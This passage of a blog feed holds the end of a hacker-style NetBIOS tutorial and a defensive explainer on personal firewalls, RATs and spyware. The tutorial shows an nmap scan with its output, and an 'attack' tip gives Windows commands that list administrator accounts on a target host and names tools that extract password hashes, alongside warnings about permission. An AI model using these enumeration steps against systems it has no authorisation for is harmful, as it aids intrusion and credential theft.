easy to catch criminals at work.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;********************&lt;br /&gt;
You can get expelled warning: What if you are a student and you want to save
your school from malicious code kiddies who steal tests and change grades? It
is important to get permission *in writing* before you test the school's
network. Even then, you still must be careful to be a model student. If you act
up, cut classes - you know what I mean - the first time a cracker messes up the
network, who do you think they will suspect? Yes, it's unfair, and yes, that is
the way the world works.&lt;br /&gt;
********************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;How to Scan for Computers that Use
NetBIOS&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Your
tool of choice is a port scanner. Any computer that is running something on
port 139 is likely (but not certain) to be using NetBIOS. Most crackers use
nmap to port scan. This tool runs on Unix/Linux type computers. You can get it
at .
There is also a Windows version of nmap, but it isn't very good. A better
choice for Windows is Whats Up from .
You can get a one month free trial of it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Here's
an example of an nmap scan of Oldguy:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;test-box:/home/cmeinel
# nmap -sTU 10.0.0.2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Starting
nmap V. 3.00 ( www.insecure.org/nmap/ )&lt;br /&gt;
Interesting ports on (10.0.0.2):&lt;br /&gt;
(The 3060 ports scanned but not shown below are in state: closed)&lt;br /&gt;
Port State Service&lt;br /&gt;
21/tcp open ftp&lt;br /&gt;
70/tcp open gopher&lt;br /&gt;
80/tcp open http&lt;br /&gt;
135/tcp open loc-srv&lt;br /&gt;
135/udp open loc-srv&lt;br /&gt;
137/udp open netbios-ns&lt;br /&gt;
138/udp open netbios-dgm&lt;br /&gt;
139/tcp open netbios-ssn&lt;br /&gt;
500/udp open isakmp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Nmap
run completed -- 1 IP address (1 host up) scanned in 8 seconds&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;As
you can see from this scan, three ports are identified with NetBIOS. This tells
us that we could set nmap to scan a large number of Internet addresses, only
looking for port 139 on each. To learn how to set up nmap to run this way, in
your Unix or Linux shell give the command "man nmap".&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;For
more on what crackers do once they break into a computer using NetBIOS (like
installing back doors), see&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;********************&lt;br /&gt;
You can get punched in the nose warning: if you use a port scanner against
networks that haven't given you permission to scan, you will be waving a red
flag that says "Whaddaya wanna bet I'm a computer criminal?" You
can't get arrested for merely port scanning, but people who don't like being
scanned might get you kicked off your Internet service provider.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;You
can get really, big time, punched in the nose warning: If you visit the same
computer or LAN really often to see what's new and to try different things,
even if you don't break the law you'd better be doing it with the permission of
the owner. Otherwise you may make enemies who might crash or destroy your
operating system. And that is only what they may do when feeling mellow. After
a night of hard drinking - well, you don't want to find out.&lt;br /&gt;
********************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;How to Play NetBIOS Wargames&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;What
if you want to challenge your friends to a hacker wargame using NetBIOS? The
first thing to do is *don't* email me asking me to break in for you. Sheesh.
Seriously, almost every day I get emails from people claiming to have
permission from their girlfriend/boyfriend and begging me to help them break
in. You can read their hilarious pleas for help at &lt;span style="color: blue;"&gt;&lt;u&gt;.&lt;/u&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;The
way to run a hacker wargame over the Internet is first, get permission from
your Internet provider so they don't kick you off for hacking. They probably
run an IDS that scans users for suspicious activity. They probably hate
malicious hackers. Enough said.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Second,
you and your friends are likely to be at a different Internet address every
time you log on. Your safest way to play over the Internet is for each player
to get an Internet address that is the same every time he or she logs on: a
"static" address. This way you won't accidentally break into someone
else's computer.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;You
have to arrange with your Internet provider to get a static address. Normally
only a local provider can do this for you. A big advantage of using a local
provider is you can make friends with the people who work there - and they are
probably hackers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;If
you live in an apartment building or dormitory with other hackers, you can play
break-in games without using the Internet. Set up a LAN where you can play
together. For example, you can string Ethernet cable from window to window. To
learn how to set up a Windows Ethernet LAN, see
http://happyhacker.org/gtmhh/winlan.shtml .&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Or
you could set up a wireless LAN. With wireless you never know who might come
cruising with a laptop down the street by your home or business and break in.
That can make a wargame lots more fun. For help on how to break into wireless
LANs (it's pathetically easy), see&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
&lt;/span&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Chilada ICG Uno&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Chilada ICG Uno&amp;quot;;"&gt;Evil genius tip: Attack using a Win NT
server with the Microsoft Resource Kit installed.&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; Heh, heh. With
it you can give the command:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;Local
Administrators \\&amp;lt;targetbox.com&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;This
should show all user accounts with administrator rights on targetbox.com.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;Global
Administrators \\&amp;lt;targetbox.com &amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;This
should show all user accounts with Domain administrative rights. These are
exceptionally worth compromising, because with one Domain administrative
password you will be able to control many resources among NT servers,
workstations, and Win 95/98 computers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;I've
tried to install the Resource Kit on XP Professional, but it wasn't compatible.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Another
option is to install hacker tools such as Red Button and DumpACL, which extract
information on user names, hashes, and which services are running on a given
machine. &lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;Help for users of Windows 95, 98, SE or
ME&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;To
enable NetBIOS, click&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Control
Panel -&amp;gt; Network -&amp;gt; Protocols&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;If
you see both NetBEUI and TCP/IP, you are already using NetBIOS. If not, add
NetBEUI.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;To
bring up the command screen, click Start -&amp;gt; Run and type in command.com. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-1563090007709431018?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/1563090007709431018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/magic-of-netbios.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/1563090007709431018?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/1563090007709431018?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/magic-of-netbios.html' title='The Magic of NetBIOS'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEUMRHY5cSp7ImA9WhVREEo.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-4276556372556490962</id><published>2012-03-18T05:04:00.002-07:00</published><updated>2012-03-18T05:04:45.829-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-18T05:04:45.829-07:00</app:edited><title>Firewall Protection how to</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="color: silver; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;What is a Firewall?&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;&lt;br /&gt;
A firewall is a tool that monitors communication to and from your computer. It
sits between your computer and the rest of the network, and according to some
criteria, it decides which communication to allow, and which communication to
block. It may also use some other criteria to decide about which communication
or communication request to report to you (either by adding the information to
a log file that you may browse whenever you wish, or in an alert message on the
screen), and what not to report.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;What Is It Good For?&lt;/span&gt;&lt;br /&gt;
Identifying and blocking remote access Trojans. Perhaps the most common way to
break into a home computer and gain control, is by using a remote access Trojan
(RAT). (sometimes it is called "backdoor Trojan" or "backdoor
program". Many people simply call it a "Trojan horse" although
the term "Trojan horse" is much more generic). A Trojan horse, is a
program that claims to do something really innocent, but in fact does something
much less innocent. This goes to the days where the Greek soldiers succeeded to
enter through the gates of Troy by building a big wooden horse, and giving it
as a present to the king of Troy. The soldiers allowed the sculpture to enter
through their gates, and then at night, when the soldiers were busy guarding
against an outside attack, many Greek soldiers who were hiding inside the horse
went out and attacked Troy from the inside. This story, which may or may not be
true, is an example of something which looks like something innocent and is
used for some less innocent purpose. The same thing happens in computers. You
may sometimes get some program, via ICQ, or via Usenet, or via IRC, and believe
this program to be something good, while in fact running it will do something
less nice to your computer. Such programs are called Trojan horses. It is
accepted to say that the difference between a Trojan horse and a virus, is that
a virus has the ability to self-replicate and to distribute itself, while a
Trojan horse lacks this ability. A special type of Trojan horses, is RATs
(Remote Access Trojans, some say "remote admin Trojans"). These
Trojans once executed in the victim's computer, start to listen to incoming
communication from a remote matching program that the attacker uses. When they
get instructions from the remote program, they act accordingly, and thus let
the user of the remote program to execute commands on the victim's computer. To
name a few famous RATs, the most common are Netbus, Back-Orifice, and SubSeven
(which is also known as Backdoor-G). In order for the attacker to use this
method, your computer must first be infected by a RAT. &lt;br /&gt;
Prevention of infections by RATs is no different than prevention of infection
by viruses. Antivirus programs can identify and remove most of the more common
RATs. Personal firewalls can identify and block remote communication efforts to
the more common RATs and by thus blocking the attacker, and identifying the
RAT.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Blocking/Identifying Other Types of Trojans and
WQorms?&lt;/span&gt;&lt;br /&gt;
There are many other types of Trojan horses which may try to communicate with
the outside from your computer. Whether they are e-mail worms trying to
distribute themselves using their own SMTP engine, or they might be password
stealers, or anything else. Many of them can be identified and blocked by a
personal firewall. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Identifying/Blocking Spyware's/Adbots?&lt;/span&gt;&lt;br /&gt;
The term "spyware" is a slang which is not well defined. It is
commonly used mainly for various adware (and adware is a program that is
supported by presenting advertisements to the user), and that during their installation
process, they install an independent program which we shall call
"adbot". The adbot runs independently even if the hosting adware is
not running, and it maintains the advertisements, downloads them from the
remote server, and provides information to the remote server. The adbot is
usually hidden. There are many companies that offer adbots, and advertisements
services to adware. The information that the adbots deliver to their servers
from the computer where the adbot is installed, is "how much time each
advertisement is shown, which was the hosting adware, and whether the user
clicked on the advertisement. This is important so that the advertisements
server will be able to know how much money to get from each of the advertised
companies, and how much from it to deliver to each of the adware maintainers.
Some of the adbots also collect other information in order to better choose the
advertisements to the users. The term "spyware" is more generic, but
most of the spyware fall into this category. Many types of adbots can be
identified and blocked by personal firewalls. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Blocking Advertisements?&lt;/span&gt;&lt;br /&gt;
Some of the better personal firewalls can be set to block communication with
specific sites. This can be used in order to prevent downloading of
advertisements in web pages, and thus to accelerate the download process of the
web sites. This is not a very common use of a personal firewall, though. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Preventing Communication to Tracking Sites? &lt;/span&gt;&lt;br /&gt;
Some web pages contain references to tracking sites. e.g. instruct the web
browser to download a small picture (sometimes invisible) from tracking sites.
Sometimes, the pictures are visible and provide some statistics about the site.
Those tracking sites will try to save a small text either as a small file in a
special directory, or as a line in a special file (depending on what is your
browser), and your browser will usually allow the saving site to read the text
that it saved on your computer. This is called "web cookies" or
sometimes simply "cookies". Cookies allow a web site to keep
information that it saved some time when you entered it, to be read whenever
you enter the site again. This allow the web site to customize itself for you,
and to keep track on everything that you did on that site. It does not have to
keep that information on your computer. All it has to save on your computer is
a unique identifying number, and then it can keep in the server's side
information regarding what has been done by the browser that used that cookie.
Yet, by this method, a web site can get only information regarding your visits
in it. Some sites such as "doubleclick" or "hitbox" can
collect information from various affiliated sites, by putting a small reference
in the affiliated pages to some picture on their servers. When you enter one of
the affiliated web pages, your browser will communicate with the tracking site,
and this will allow the tracking site to put or to read a cookie that
identifies your computer uniquely, and it can also know what was the web page
that referred to it, and any other information that the affiliated web site
wanted to deliver to the tracking site. This way tracking sites can correlate
information from many affiliated sites, to build information that for example
will allow them to better customize the advertisements that are put on those
sites when you browse them. &lt;br /&gt;
Some personal firewalls can be set to block communication to tracking sites. It
is not a common use of a personal firewall, though, and a personal firewall is
not the best tool for that, but if you already have one, this is yet another
possible use of it. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Blocking or Limiting the NetBIOS Communication? (as
well as other default services)&lt;/span&gt;&lt;br /&gt;
The two common methods of intruders to break into home computers, are through a
RAT (which was discussed in II.3a) and through the NetBIOS communication. The
NetBIOS is a standard for naming computers in small networks, developed long
ago by IBM and Microsoft. There are a few communication standards which are
used in relation to the NetBIOS. The ones that are relevant for Microsoft
Windows operating systems, are: NBT (NetBIOS over TCP/IP), IPX/SPX, and
NetBEUI. The communication standard which is used over the Internet, is NBT. If
it is enabled, and there is no firewall or something else in the middle, it
means that your computer is listening for communications over the Internet via
this standard, and will react according to the different NBT commands that it
gets from the remote programs. It is thus that the NBT (which sometimes loosely
called "NetBIOS") is acting as a server. So the next question should
be "what remote NBT commands the NBT server will do on the local
computer". The answer to this question depends on the specific setting on
your computer. You may set your computer to allow file and print sharing. If also
NBT is enabled, it means that you allow remote users to share your files or
printers. This is a big problem. It is true that in principle the remote user
has to know your password for that computer, but many users do not set a
password for their user on Windows, or set a trivial password. Older versions
of Win95 had file and print sharing over NetBIOS enabled by default. On Win98,
and WinMe it was disabled by default, but many technicians, when they set a
home network, they enable the file and print sharing, without being aware that
it influences also the authorizations of a remote Internet user. There are even
worms and viruses who use the File sharing option to spread in the Internet.
Anyway, no matter whether you need it for some reason or just are not aware of
it, a personal firewall can identify and block any external effort to
communicate with the NetBIOS server on your computer. The more flexible
personal firewalls can be set to restrict the authorization to communicate with
the NetBIOS. Some Windows operating systems, especially those which are not
meant for home uses, offer other public services by default, such as RPC. A
firewall can identify communication efforts to them, and block them. Since such
services listen to remote communications, there is a potential risk when there
are efforts to exploit security holes in the programs that offer the services,
if there are such security holes. A firewall may block or limit the
communication to those services. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Hiding Your Computer on the Internet?&lt;/span&gt; &lt;br /&gt;
Without a firewall, on a typical computer, even if well maintained, a remote
person will still be able to know that the communication effort has reached
some computer, and perhaps some information about the operating system on that
computer. If that computer is handled well, the remote user will not be able to
get much more information from your computer, but might still be able to
identify also who your ISP is, and might decide to invest further time in
cracking into your computer. &lt;br /&gt;
With a firewall, you can set the firewall so that any communication effort from
remote users (in the better firewalls you may define an exception list) will
not be responded at all. This way the remote user will not be able to even know
that it reached a live computer. This might discourage the remote attacker from
investing further time in effort to crack into your computer. &lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;span style="color: silver;"&gt;The Non-Firewall Defenses &lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
We've discussed a few situations where a personal firewall can provide defense.
Yet, in many cases a computer maintainer can deal with those situations even
without a firewall. Those "alternative" defenses, in many cases are
recommended regardless of whether you use a firewall or not. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Remote Access Trojans?&lt;/span&gt;&lt;br /&gt;
The best way to defend against remote access Trojans (RATs) is to prevent them
from being installed in the first place on your computer. A RAT should first
infect your computer in order to start to listen to remote communication
efforts. The infection techniques are very similar to the infection techniques
that viruses use, and hence the defense against Trojan horses is similar to the
defense against viruses. Trojan horses do not distribute themselves (although
they might be companions of another Internet worm or virus that distributes
them. Yet, because in most cases they do not distribute themselves, it is
likely that you will get them from anonymous sources, such as instant
messengers, Kazaa, IRC, or a newsgroup. adopting a suspicious policy regarding
downloads from such places, will save you not only from viruses but also from
getting infected with Trojan horses, including RATs. Because Trojan horses are
similar in some ways to viruses, almost all antivirus programs can identify,
block from being installed, and remove most of the Trojan horses, including all
the common ones. There are also some programs (sometimes called antiTrojan
programs) which specialize in the identification and removal of Trojan horses.
For a list of those programs, and for comparison on how well different
antivirus, and antiTrojan programs identify different Trojan horses, see
Hackfix (http://www.hackfix.org), under "Software test results".
Hackfix also has information on the more common RATS (such as the Netbus and
the Subseven) and on how to remove them manually. There are some tools and web
sites, such port scanners, and some ways with a use of more generic tools such
as telnet, msconfig, and netstat, which may help you to identify a RAT. &lt;br /&gt;
&lt;br /&gt;
Other types of Trojans and worms? &lt;br /&gt;
Also here your main interest should be to prevent them from infecting your computer
in the first place, rather than blocking their communication. A good antivirus
and a good policy regarding the prevention of virus infections, should be the
first and most important defense. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Spyware and Adbots?&lt;/span&gt;&lt;br /&gt;
The term spyware is sometimes misleading. In my view, it is the responsibility
of the adware developer to present the fact that the adware installation will
install or use an independent adbots, and to provide the information on how
this adbot communicates, and which information it delivers, in a fair place and
manner before the adware is installed. It is also a responsibility to provide
this information in their web sites, so that people will be aware of that
before they even download the software. Yet, in general, those adbots do not
pose any security threat, and in many cases also their privacy threat is
negligible for many people (e.g. the computer with adbot number 1127533 has
been exposed to advertisements a, b, c, such and such times, while using adware
x, while on computer with adbot number 1127534 has been exposed to
advertisements a,d, and e, such amount of time, with the use of adware y, and
clicked on ads number d). It should be fully legitimate for software developers
to offer an advertisement supported programs, and it is up to the user to
decide whether the use of the program worth the ads and the adbot, or not.
Preventing adbot from communicating is generally not a moral thing. If you
decide to use an adware, you should pay the price of letting the adbot work. If
you don't want it, please remove the adware, and only if for some reason the
adbot continue to work even if no hosting adware that uses it is installed, you
may remove the adbot. Anyway, there are some very useful tools to identify
whether a program is a "spyware", or whether a "spyware" is
installed on your computer, and you are certainly entitled to this information.
Two useful programs are "AdAware" which identifies
"spyware" components on your computer and allows you to remove them,
and Ad-Search which allows you to provide a name of a program, and it tells you
whether this program is a "spyware" and which adbot it uses. It is
useful to assist you in choosing whether to install a program or not. You may
find those programs in http://www.lavasoft.nu (or, if it doesn't work, you may
try http://www.lavasoftusa.com). Those programs are useful, mainly because many
adware developers are not fair enough to present this information in a fair
manner. AdAware allows you to also remove those adbot components from your
computer. This might, however, terminate your license to use the hosting adware
programs, and might even cause them to stop functioning. A website which offers
to check whether a specific program that you wish to install is
"spyware" or not, is http://www.spychecker.com . &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Blocking Advertisements?&lt;/span&gt;&lt;br /&gt;
Leaving aside the moral aspect of blocking advertisements, a personal firewall
is not the best tool for that anyway. This is not the main purpose of a
firewall, and neither its main strength. Some of them can block some of the advertisements
from being downloaded, if you know how to configure them for that. Yet, there
are better tools for that, such as Proxomitron (http://www.proxomitron.org),
CookieCop 2 (search for the word cookiecop on http://www.pcmag.com), or
Naviscope (http://www.naviscope.com), and there are many other programs as
well. You may check for other alternatives, e.g. in Tucows
(http://www.tucows.com/adkiller95.html). &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Blocking Tracking Sites?&lt;/span&gt;&lt;br /&gt;
Also here, a personal firewall is not the best tool for that, and there are
